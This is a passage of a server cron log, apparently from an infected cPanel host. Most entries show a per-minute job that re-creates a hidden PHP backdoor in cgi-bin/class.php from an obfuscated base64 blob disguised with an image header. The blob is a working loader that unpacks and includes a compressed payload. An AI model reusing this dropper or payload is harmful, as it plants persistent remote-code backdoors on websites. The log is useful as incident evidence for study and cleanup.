"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:47:01 server CROND[13677]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:48:01 server CROND[13752]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:49:01 server CROND[13871]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:50:01 server CROND[13951]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 11:50:01 server CROND[13952]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 11:50:01 server CROND[13955]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 11:50:01 server CROND[13954]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 11:50:01 server CROND[13956]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:51:01 server CROND[14166]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:52:01 server CROND[14332]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:53:01 server CROND[14418]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:54:01 server CROND[14495]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:55:01 server CROND[14573]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 11:55:01 server CROND[14574]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:55:01 server CROND[14575]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 11:56:01 server CROND[14690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:57:01 server CROND[14853]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:57:01 server CROND[14854]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 11:58:01 server CROND[14920]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:59:01 server CROND[14993]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
